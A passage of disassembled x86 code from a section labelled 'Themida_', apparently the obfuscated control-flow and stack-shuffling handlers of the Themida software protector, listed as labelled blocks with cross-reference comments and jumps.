		jmp	loc_59D79A
; ---------------------------------------------------------------------------


loc_59D0AF:				; CODE XREF: Themida_:0059B89Aj
		mov	esi, 46EC6EDDh
		jmp	loc_5A03A4
; ---------------------------------------------------------------------------


loc_59D0B9:				; CODE XREF: Themida_:005A475Dj
		add	esi, 81D521F3h
		add	ebx, 151E5588h
		add	ebx, esi
		push	esi
		mov	esi, 151E5588h
		sub	ebx, esi
		jmp	loc_5927D9
; ---------------------------------------------------------------------------


loc_59D0D4:				; CODE XREF: Themida_:00598104j
		push	ebx
		mov	ebx, 0DD8FCE68h
		sub	ecx, ebx
		pop	ebx
		add	edi, 1DE06D3Fh
		jmp	loc_5A567B
; ---------------------------------------------------------------------------


loc_59D0E8:				; CODE XREF: Themida_:005A5732j
		xor	ch, 5Ah
		jmp	loc_594F02
; ---------------------------------------------------------------------------


loc_59D0F0:				; CODE XREF: Themida_:0059241Fj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_59AE27
; ---------------------------------------------------------------------------


loc_59D103:				; CODE XREF: Themida_:00595297j
		push	edi
		jmp	loc_591A0F
; ---------------------------------------------------------------------------


loc_59D109:				; CODE XREF: Themida_:00591A14j
		mov	esi, 45BA1008h
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 667037BAh
		jmp	loc_5A02BA
; ---------------------------------------------------------------------------


loc_59D11C:				; CODE XREF: Themida_:00590339j
		sub	edx, 41F3496Dh
		add	edx, ecx
		add	edx, 41F3496Dh
		mov	ecx, [esp]
		jmp	loc_59863D
; ---------------------------------------------------------------------------


loc_59D132:				; CODE XREF: Themida_:0059BC1Fj
		pop	esi
		add	eax, 4E056A57h
		sub	eax, 68CD73EAh
		add	eax, edx
		jmp	loc_5926F0
; ---------------------------------------------------------------------------


loc_59D144:				; CODE XREF: Themida_:0059DA9Aj
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_593ADF
; ---------------------------------------------------------------------------


loc_59D153:				; CODE XREF: Themida_:0059C615j
		mov	ebx, 72BD5217h
		mov	ebp, 0F19B9C46h
		sub	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 0C07E1E9Dh
		mov	edi, ebx
		pop	ebx
		add	edi, ebp
		jmp	loc_595FFE
; ---------------------------------------------------------------------------


loc_59D170:				; CODE XREF: Themida_:005A0122j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D175:				; CODE XREF: Themida_:0059DF9Cj
		push	ebx
		jmp	loc_59F238
; ---------------------------------------------------------------------------


loc_59D17B:				; CODE XREF: Themida_:005A14FCj
		sub	esi, 0FF57F8D1h
		mov	ecx, esi
		pop	esi
		jmp	loc_5A5446
; ---------------------------------------------------------------------------


loc_59D189:				; CODE XREF: Themida_:00595863j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_591715
; ---------------------------------------------------------------------------


loc_59D192:				; CODE XREF: Themida_:0059F08Fj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_596F3C
; ---------------------------------------------------------------------------


loc_59D19D:				; CODE XREF: Themida_:00590BF3j
		push	3008h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5934B6
; ---------------------------------------------------------------------------


loc_59D1B8:				; CODE XREF: Themida_:005A2F41j
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_59C0BE
; ---------------------------------------------------------------------------


loc_59D1C3:				; CODE XREF: Themida_:00598C28j
		not	cl
		sub	cl, 81h
		jmp	loc_59B9C8
; ---------------------------------------------------------------------------


loc_59D1CD:				; CODE XREF: Themida_:005A36B3j
		mov	ch, bl
		jmp	loc_5A0716
; ---------------------------------------------------------------------------


loc_59D1D4:				; CODE XREF: Themida_:005A49BEj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	0F3Ch
		mov	[esp], ebp
		push	eax
		mov	eax, 4D0B291Bh
		mov	ebp, 4D0B2919h
		xor	ebp, eax
		pop	eax
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D209:				; CODE XREF: Themida_:005A1937j
		add	esp, 4
		rep movsd
		add	esp, [edx+38h]
		push	4D54h
		mov	[esp], ebx
		mov	ebx, 38h
		sub	ebx, 66113BD2h
		sub	ebx, 3B83343Bh
		add	ebx, edx
		add	ebx, 3B83343Bh
		push	ebp
		mov	ebp, 69AC572Eh
		and	ebp, 216B7DEAh
		add	ebp, 44E8E6A8h
		add	ebx, ebp
		jmp	loc_59891F
; ---------------------------------------------------------------------------


loc_59D24B:				; CODE XREF: Themida_:0059B7ABj
		add	bh, al
		sub	bh, 64h
		pop	eax
		sub	cl, 8Ah
		jmp	loc_5917D2
; ---------------------------------------------------------------------------


loc_59D259:				; CODE XREF: Themida_:005A4E48j
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_594886
; ---------------------------------------------------------------------------


loc_59D263:				; CODE XREF: Themida_:00599819j
		and	edx, 4B6F2843h
		neg	edx
		xor	edx, 0EEEBC1D3h
		add	ebx, edx
		pop	edx
		and	ebx, 17417E02h
		push	6E3h
		mov	[esp], esi
		jmp	loc_5986E6
; ---------------------------------------------------------------------------


loc_59D287:				; CODE XREF: Themida_:00598F08j
		neg	ebp
		add	ebp, 0D297DE7h
		xor	ebp, 23290533h
		add	esi, ebp
		jmp	loc_5911B2
; ---------------------------------------------------------------------------


loc_59D29C:				; CODE XREF: Themida_:00594AE9j
		push	eax
		mov	eax, 6ECC05EAh
		mov	edx, eax
		mov	eax, [esp]
		jmp	loc_5A3FEB
; ---------------------------------------------------------------------------


loc_59D2AC:				; CODE XREF: Themida_:00598116j
		add	edi, 5F5139E1h
		pop	esi
		push	ecx
		jmp	loc_59CF45
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0E07h
		mov	[esp], ebx
		jmp	loc_59F3F8
; ---------------------------------------------------------------------------


loc_59D2CA:				; CODE XREF: Themida_:005A38C5j
		add	ebx, 362A022Ch
		add	ebx, edx
		sub	ebx, 362A022Ch
		pop	edx
		pop	ecx
		jmp	loc_5A14EE
; ---------------------------------------------------------------------------


loc_59D2DF:				; CODE XREF: Themida_:00598DEEj
		sub	ecx, 925C039Fh
		jmp	loc_5A09F9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_59A492
; ---------------------------------------------------------------------------


loc_59D2F9:				; CODE XREF: Themida_:00591545j
		mov	esi, [esp]
		push	2F2h
		jmp	loc_5958AC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D30E:				; CODE XREF: Themida_:0059A7BEj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	edi, ebp
		pop	ebp
		push	eax
		mov	eax, edi
		mov	ebx, eax
		jmp	loc_596B6E
; ---------------------------------------------------------------------------


loc_59D32A:				; CODE XREF: Themida_:005906E3j
		sub	eax, 33A97F68h
		add	eax, 4B2A12EDh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_590F9E
; ---------------------------------------------------------------------------


loc_59D343:				; CODE XREF: Themida_:0059DD3Aj
		mov	edx, [esp]
		jmp	loc_598D25
; ---------------------------------------------------------------------------


loc_59D34B:				; CODE XREF: Themida_:005A0C89j
		mov	ebp, 52712F43h
		sub	esi, ebp
		jmp	loc_59FADF
; ---------------------------------------------------------------------------


loc_59D357:				; CODE XREF: Themida_:00590D76j
		sub	esi, edi
		pop	edi
		push	55D2h
		mov	[esp], esi
		pop	ecx
		jmp	loc_593DBC
; ---------------------------------------------------------------------------


loc_59D368:				; CODE XREF: Themida_:00592574j
		push	esi
		jmp	loc_59AE78
; ---------------------------------------------------------------------------


loc_59D36E:				; CODE XREF: Themida_:005A0403j
		mov	ebx, 38701DFBh
		push	ebp
		push	eax
		push	58B67011h
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_591BAF
; ---------------------------------------------------------------------------


loc_59D38C:				; CODE XREF: Themida_:005A2ED0j
		xchg	eax, [esp]
		jmp	loc_59A22D
; ---------------------------------------------------------------------------


loc_59D394:				; CODE XREF: Themida_:005A1F26j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_5A0520
; ---------------------------------------------------------------------------


loc_59D3BA:				; CODE XREF: Themida_:00595E65j
		add	ebx, edx
		sub	ebx, 41A63633h
		jmp	loc_59FD0B
; ---------------------------------------------------------------------------


loc_59D3C7:				; CODE XREF: Themida_:005A3344j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, ebx
		mov	edx, ebp
		jmp	loc_59B471
; ---------------------------------------------------------------------------


loc_59D3E3:				; CODE XREF: Themida_:005A462Ej
		pop	eax
		add	eax, 4
		push	edi
		jmp	loc_591147
; ---------------------------------------------------------------------------


loc_59D3EF:				; CODE XREF: Themida_:005A49B4j
		mov	ebx, edx
		pop	edx
		jmp	loc_5A34F6
; ---------------------------------------------------------------------------


loc_59D3F7:				; CODE XREF: Themida_:00599BECj
		mov	ebp, 724D4608h
		shl	ebp, 5
		jmp	loc_5960BB
; ---------------------------------------------------------------------------


loc_59D404:				; CODE XREF: Themida_:005914EBj
		xor	eax, ecx
		jmp	loc_59945B
; ---------------------------------------------------------------------------


loc_59D40B:				; CODE XREF: Themida_:0059DC56j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59E4E7
; ---------------------------------------------------------------------------


loc_59D419:				; CODE XREF: Themida_:005A4611j
		sub	esp, 4
		jmp	loc_597382
; ---------------------------------------------------------------------------


loc_59D424:				; CODE XREF: Themida_:005A2059j
		xor	ebp, 4FCF5DD2h
		jmp	loc_5921C7
; ---------------------------------------------------------------------------


loc_59D42F:				; CODE XREF: Themida_:00594AADj
		add	[esp+4], edi
		pop	edi
		pop	ecx
		push	ebx
		jmp	loc_59C8D6
; ---------------------------------------------------------------------------


loc_59D43B:				; CODE XREF: Themida_:0059C60Ej
		mov	edi, [esp]
		add	esp, 4
		add	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5934DE
; ---------------------------------------------------------------------------


loc_59D44B:				; CODE XREF: Themida_:00594F04j
		pop	ecx
		push	4CA8h
		mov	[esp], edx
		mov	dh, 11h
		push	ecx
		jmp	loc_597D45
; ---------------------------------------------------------------------------


loc_59D45C:				; CODE XREF: Themida_:0059F64Fj
		mov	eax, 15B562F1h
		push	edi
		mov	edi, 747D758Bh
		xor	eax, edi
		pop	edi
		neg	eax
		push	ebp
		push	esi
		push	41646D57h
		mov	esi, [esp]
		add	esp, 4
		not	esi
		push	edx
		mov	edx, 2C89286Fh
		xor	edx, 62F54070h
		not	edx
		sub	edx, 4BF668FDh
		and	esi, edx
		jmp	loc_59B60E
; ---------------------------------------------------------------------------


loc_59D499:				; CODE XREF: Themida_:005A1017j
		xor	ebx, 0DAD64E0h
		not	ebx
		shl	ebx, 4
		jmp	loc_59623D
; ---------------------------------------------------------------------------


loc_59D4A9:				; CODE XREF: Themida_:0059C416j
		not	ecx
		jmp	loc_596575
; ---------------------------------------------------------------------------


loc_59D4B0:				; CODE XREF: Themida_:00591F7Aj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5A52CA
; ---------------------------------------------------------------------------


loc_59D4C5:				; CODE XREF: Themida_:00591FA6j
		mov	[esp], esi
		jmp	loc_5935D8
; ---------------------------------------------------------------------------


loc_59D4CD:				; CODE XREF: Themida_:00596B30j
		push	501Fh
		jmp	loc_599BF1
; ---------------------------------------------------------------------------


loc_59D4D7:				; CODE XREF: Themida_:00599A97j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59108D
; ---------------------------------------------------------------------------


loc_59D4E8:				; CODE XREF: Themida_:005A4783j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A0BF9
; ---------------------------------------------------------------------------


loc_59D4F3:				; CODE XREF: Themida_:00594C66j
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	1
		jmp	loc_59395B
; ---------------------------------------------------------------------------


loc_59D506:				; CODE XREF: Themida_:00596C42j
		pop	ebx
		dec	ebx
		push	40Fh
		mov	[esp], edi
		jmp	loc_5903F3
; ---------------------------------------------------------------------------


loc_59D515:				; CODE XREF: Themida_:0059777Fj
		mov	ebp, 5D0E22ECh
		jmp	loc_59BFE1
; ---------------------------------------------------------------------------


loc_59D51F:				; CODE XREF: Themida_:0059DB85j
		sub	edx, ebx
		jmp	loc_5A2D42
; ---------------------------------------------------------------------------


loc_59D526:				; CODE XREF: Themida_:005A386Cj
		add	ebp, esi
		sub	ebp, 5C692305h
		jmp	loc_599EEA
; ---------------------------------------------------------------------------


loc_59D533:				; CODE XREF: Themida_:005A21C1j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D547:				; CODE XREF: Themida_:0059F46Ej
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D55A:				; CODE XREF: Themida_:0059CC6Dj
		push	ecx
		jmp	loc_599E45
; ---------------------------------------------------------------------------


loc_59D560:				; CODE XREF: Themida_:005A52EFj
		add	esp, 4
		push	ebx
		jmp	loc_597CDD
; ---------------------------------------------------------------------------


loc_59D56C:				; CODE XREF: Themida_:005A1FE9j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 398B1ACFh
		xor	ecx, 4F6A73B7h
		not	ecx
		inc	ecx
		xor	ecx, 891E968Ch
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_590827
; ---------------------------------------------------------------------------


loc_59D598:				; CODE XREF: Themida_:00591D3Fj
		push	edx
		mov	edx, 36C36AD3h
		jmp	loc_598DBF
; ---------------------------------------------------------------------------


loc_59D5A3:				; CODE XREF: Themida_:00596D92j
		or	ecx, 6D680088h
		add	ecx, 9293CE6Ah
		add	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_5A4CDF
; ---------------------------------------------------------------------------


loc_59D5B8:				; CODE XREF: Themida_:00590B57j
		mov	dh, cl
		jmp	loc_59C3B2
; ---------------------------------------------------------------------------


loc_59D5BF:				; CODE XREF: Themida_:005A2756j
		add	esp, 4
		push	dx
		jmp	loc_5A3EC0
; ---------------------------------------------------------------------------


loc_59D5CC:				; CODE XREF: Themida_:005A29CDj
		mov	[esp], eax
		mov	eax, 3A203C6Ch
		shr	eax, 2
		dec	eax
		push	esi
		mov	esi, 3A90527Fh
		shl	esi, 2
		and	esi, 4A620228h
		not	esi
		xor	esi, 0BD0C6A77h
		sub	eax, esi
		jmp	loc_597D54
; ---------------------------------------------------------------------------


loc_59D5F6:				; CODE XREF: Themida_:0059825Cj
		mov	edx, 1
		add	ebp, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_59AD98
; ---------------------------------------------------------------------------


loc_59D615:				; CODE XREF: Themida_:0059E4E2j
		push	3F25h
		mov	[esp], edi
		mov	edi, 51CA6F61h
		xor	edx, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		add	ebp, eax
		jmp	loc_5983CE
; ---------------------------------------------------------------------------


loc_59D64D:				; CODE XREF: Themida_:0059232Bj
		pop	eax
		jmp	loc_5950B6
; ---------------------------------------------------------------------------


loc_59D653:				; CODE XREF: Themida_:00594BBCj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	70ACh
		jmp	loc_59AD89
; ---------------------------------------------------------------------------


loc_59D667:				; CODE XREF: Themida_:00597E74j
		mov	esi, 278D7D55h
		shr	esi, 8
		push	ebx
		mov	ebx, 76208E6h
		xor	esi, ebx
		pop	ebx
		shr	esi, 6
		dec	esi
		jmp	loc_59D76B
; ---------------------------------------------------------------------------


loc_59D681:				; CODE XREF: Themida_:0059EF4Ej
		xor	esi, 221927BEh
		add	esi, 15D0213Ah
		add	eax, esi
		pop	esi
		push	2C27h
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_59BEFF
; ---------------------------------------------------------------------------


loc_59D6A2:				; CODE XREF: Themida_:0059683Ej
		mov	al, 0CDh
		mov	bl, al
		jmp	loc_59997C
; ---------------------------------------------------------------------------


loc_59D6AB:				; CODE XREF: Themida_:00595493j
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 0DE1210Eh
		push	edi
		mov	edi, 0CFE7DFBh
		add	edi, 1B9FDEF5h
		jmp	loc_594A34
; ---------------------------------------------------------------------------


loc_59D6CA:				; CODE XREF: Themida_:00598DDDj
		xchg	ebx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 3ADC6D98h
		inc	ebp
		or	ebp, 50C227FDh
		xor	ebp, 5DF53C66h
		push	ecx
		push	ebx
		push	70D94265h
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A13C0
; ---------------------------------------------------------------------------


loc_59D6FF:				; CODE XREF: Themida_:005A4EEAj
		mov	esi, 0E2402DD4h
		sub	eax, esi
		pop	esi
		sub	esi, eax
		mov	eax, [esp]
		jmp	loc_59C0F4
; ---------------------------------------------------------------------------


loc_59D711:				; CODE XREF: Themida_:00598582j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_59FBE2
; ---------------------------------------------------------------------------


loc_59D720:				; CODE XREF: Themida_:00599E70j
		sub	dword ptr [esp+4], 6A1256E6h
		jmp	loc_59CECB
; ---------------------------------------------------------------------------


loc_59D72D:				; CODE XREF: Themida_:005932D8j
		add	esp, 4
		xor	ebx, 751D641h
		add	eax, ebx
		mov	ebx, [esp]
		push	edi
		push	66ADh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5A3F44
; ---------------------------------------------------------------------------


loc_59D74E:				; CODE XREF: Themida_:0059F404j
		neg	ebp
		jmp	loc_5A2E95
; ---------------------------------------------------------------------------


loc_59D755:				; CODE XREF: Themida_:0059B609j
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 0D771E6Ch
		shl	eax, 3
		not	eax
		jmp	loc_5925BB
; ---------------------------------------------------------------------------


loc_59D76B:				; CODE XREF: Themida_:0059D67Cj
		add	esi, 899A03C9h
		sub	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59B539
; ---------------------------------------------------------------------------


loc_59D77C:				; CODE XREF: Themida_:0059DA64j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_597BA1
; ---------------------------------------------------------------------------


loc_59D787:				; CODE XREF: Themida_:0059CF40j
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D792:				; CODE XREF: Themida_:0059170Aj
		add	esp, 4
		jmp	loc_590E9A
; ---------------------------------------------------------------------------


loc_59D79A:				; CODE XREF: Themida_:0059D0AAj
		mov	[esp], ebp
		jmp	loc_593BCD
; ---------------------------------------------------------------------------


loc_59D7A2:				; CODE XREF: Themida_:00596D9Dj
		and	ecx, 4992595Dh
		add	ecx, 0F97D67B2h
		add	ebp, ecx
		jmp	loc_595F0F
; ---------------------------------------------------------------------------


loc_59D7B5:				; CODE XREF: Themida_:0059076Dj
		sub	al, 0D7h
		xor	cl, al
		jmp	loc_5A09B1
; ---------------------------------------------------------------------------


loc_59D7BE:				; CODE XREF: Themida_:005A4337j
		mov	[esp], ecx
		mov	ch, dl
		jmp	loc_5A2116
; ---------------------------------------------------------------------------


loc_59D7C8:				; CODE XREF: Themida_:00594469j
		not	bl
		push	eax
		mov	ah, 0FDh
		sub	bl, ah
		pop	eax
		sub	bl, 0F9h
		add	al, bl
		jmp	loc_597960
; ---------------------------------------------------------------------------


loc_59D7DA:				; CODE XREF: Themida_:005A1914j
		pop	edi
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_591E86
; ---------------------------------------------------------------------------


loc_59D7F4:				; CODE XREF: Themida_:00591C0Ej
		mov	esi, esp
		jmp	loc_596EDB
; ---------------------------------------------------------------------------


loc_59D7FB:				; CODE XREF: Themida_:00595932j
		push	ebp
		mov	ebp, 51647674h
		dec	ebp
		neg	ebp
		jmp	loc_59B1CD
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	685Bh
		mov	[esp], eax
		jmp	loc_59E3C0
; ---------------------------------------------------------------------------


loc_59D81A:				; CODE XREF: Themida_:005A1DF2j
		add	ebp, 730E074Fh
		add	ebp, 219A1C06h
		jmp	loc_5934AE
; ---------------------------------------------------------------------------
		align 4
		dd 32E952D8h
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D833:				; CODE XREF: Themida_:005940ABj
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D842:				; CODE XREF: Themida_:00596F37j
		xor	edx, [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D852:				; CODE XREF: Themida_:00599D44j
		mov	[esp], ecx
		push	57D9h
		mov	[esp], ebp
		mov	ebp, 14505FDEh
		jmp	loc_592E3F
; ---------------------------------------------------------------------------


loc_59D867:				; CODE XREF: Themida_:0059166Cj
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_59F5A6
; ---------------------------------------------------------------------------


loc_59D87A:				; CODE XREF: Themida_:0059B24Ej
		push	esi
		mov	esi, 363950C8h
		shr	esi, 6
		push	ebp
		mov	ebp, 5481450Dh
		jmp	loc_598499
; ---------------------------------------------------------------------------


loc_59D88E:				; CODE XREF: Themida_:00591FF1j
		add	esi, 3E20635Ch
		jmp	loc_59E580
; ---------------------------------------------------------------------------


loc_59D899:				; CODE XREF: Themida_:005A4C8Fj
		mov	edx, 30232A22h
		or	edx, 3D5A2198h
		jmp	loc_592D88
; ---------------------------------------------------------------------------


loc_59D8A9:				; CODE XREF: Themida_:005956C6j
		inc	cl
		jmp	loc_597B3D
; ---------------------------------------------------------------------------


loc_59D8B0:				; CODE XREF: Themida_:0059F31Dj
		add	eax, ebp
		pop	ebp
		push	ebx
		jmp	loc_5A1E0C
; ---------------------------------------------------------------------------


loc_59D8B9:				; CODE XREF: Themida_:0059BED1j
		sub	ebp, 215107F9h
		add	ebp, eax
		add	ebp, 215107F9h
		pop	eax
		jmp	loc_5A3C4E
; ---------------------------------------------------------------------------


loc_59D8CD:				; CODE XREF: Themida_:0059FC33j
		add	ebx, eax
		pop	eax
		add	edx, 30FA5D34h
		add	edx, ebx
		jmp	loc_598C7F
; ---------------------------------------------------------------------------


loc_59D8DD:				; CODE XREF: Themida_:00599734j
		and	ecx, 54316765h
		jmp	loc_5A01AB
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59D8EF:				; CODE XREF: Themida_:005A2E4Bj
		xchg	ebx, ecx
		jmp	loc_59C15A
; ---------------------------------------------------------------------------


loc_59D8F6:				; CODE XREF: Themida_:005934FFj
		shr	ebp, 5
		jmp	loc_59812A
; ---------------------------------------------------------------------------


loc_59D8FE:				; CODE XREF: Themida_:00594435j
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_5A232C
; ---------------------------------------------------------------------------


loc_59D908:				; CODE XREF: Themida_:0059C849j
		sub	edi, 1796DF3Eh
		add	eax, edi
		pop	edi
		pop	esi
		push	esi
		mov	esi, 2A8007EEh
		and	esi, 47336718h
		push	edx
		mov	edx, 720C0D4Dh
		jmp	loc_59C8BA
; ---------------------------------------------------------------------------


loc_59D929:				; CODE XREF: Themida_:0059C11Aj
		xor	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	1026h
		mov	[esp], edi
		mov	edi, 2D542898h
		xor	edi, 7F545F3Ch
		sub	edi, 7C50C1h
		shr	edi, 1
		jmp	loc_599D50
; ---------------------------------------------------------------------------


loc_59D956:				; CODE XREF: Themida_:0059B91Fj
		add	edi, 242458C9h
		jmp	loc_5946C4
; ---------------------------------------------------------------------------


loc_59D961:				; CODE XREF: Themida_:0059B7C3j
		add	cl, 0A2h
		xor	bl, cl
		pop	ecx
		sub	cl, 87h
		jmp	loc_594EF4
; ---------------------------------------------------------------------------


loc_59D96F:				; CODE XREF: Themida_:00596CABj
		mov	eax, 4
		add	ebx, eax
		push	dword ptr [esp]
		jmp	loc_599B3F
; ---------------------------------------------------------------------------


loc_59D97E:				; CODE XREF: Themida_:00594037j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 27DA58C9h
		jmp	loc_598970
; ---------------------------------------------------------------------------


loc_59D992:				; CODE XREF: Themida_:00595AEAj
		add	dl, 0FDh
		or	dl, 9Bh
		xor	dl, 1Eh
		add	al, dl
		pop	edx
		add	al, 0E9h
		add	al, bl
		jmp	loc_5A545A
; ---------------------------------------------------------------------------


loc_59D9A7:				; CODE XREF: Themida_:005A2ABCj
		push	dword ptr [esp]
		pop	edx
		push	ebx
		jmp	loc_5919AF
; ---------------------------------------------------------------------------


loc_59D9B1:				; CODE XREF: Themida_:00596FDCj
		not	dl
		jmp	loc_5A0073
; ---------------------------------------------------------------------------


loc_59D9B8:				; CODE XREF: Themida_:005A316Fj
		pop	eax
		jmp	loc_593CAB
; ---------------------------------------------------------------------------


loc_59D9BE:				; CODE XREF: Themida_:005909DAj
		add	edx, 7F0F4EB3h
		pop	eax
		add	edx, 2
		jmp	loc_5982E9
; ---------------------------------------------------------------------------


loc_59D9CD:				; CODE XREF: Themida_:0059B70Dj
		pop	ecx
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ecx
		jmp	loc_5A53EF
; ---------------------------------------------------------------------------


loc_59D9E2:				; CODE XREF: Themida_:0059F3F3j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A1C15
; ---------------------------------------------------------------------------


loc_59D9ED:				; CODE XREF: Themida_:0059AC65j
		xor	ch, 0EBh
		add	al, ch
		pop	ecx
		jmp	loc_5A4D9A
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_59764F
; ---------------------------------------------------------------------------


loc_59D9FE:				; CODE XREF: Themida_:005A3A6Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [edx]
		jmp	loc_594FDA
; ---------------------------------------------------------------------------


loc_59DA0F:				; CODE XREF: Themida_:00595D60j
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		xor	ebp, [esp]
		jmp	loc_59B663
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59DA2E:				; CODE XREF: Themida_:005A26D3j
		mov	[esp], ebp
		jmp	loc_5A1ECF
; ---------------------------------------------------------------------------


loc_59DA36:				; CODE XREF: Themida_:005A1CFFj
		push	ebx
		jmp	loc_59613F
; ---------------------------------------------------------------------------


loc_59DA3C:				; CODE XREF: Themida_:00594962j
		mov	edx, esp
		jmp	loc_59C6DD
; ---------------------------------------------------------------------------


loc_59DA43:				; CODE XREF: Themida_:0059AF5Cj
		push	edx
		sub	esp, 4
		jmp	loc_595F24
; ---------------------------------------------------------------------------


loc_59DA4C:				; CODE XREF: Themida_:00596C03j
		add	dl, bl
		mov	ebx, [esp]
		add	esp, 4
		xor	dl, 51h
		sub	dl, 53h
		inc	dl
		add	dl, 9Dh
		sub	al, dl
		jmp	loc_59D77C
; ---------------------------------------------------------------------------


loc_59DA69:				; CODE XREF: Themida_:0059B185j
		sub	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59DA80:				; CODE XREF: Themida_:0059984Bj
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 680451E8h
		shl	eax, 1
		shr	eax, 3
		not	eax
		sub	eax, 0E5FEEB81h
		jmp	loc_59D144
; ---------------------------------------------------------------------------


loc_59DA9F:				; CODE XREF: Themida_:0059068Dj
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_59CE8B
; ---------------------------------------------------------------------------


loc_59DAB0:				; CODE XREF: Themida_:00596BD9j
		sub	esi, 0FF9D508Ah
		sub	ecx, esi
		pop	esi
		push	edx
		mov	edx, 77A86023h
		add	eax, edx
		pop	edx
		jmp	loc_5A12C1
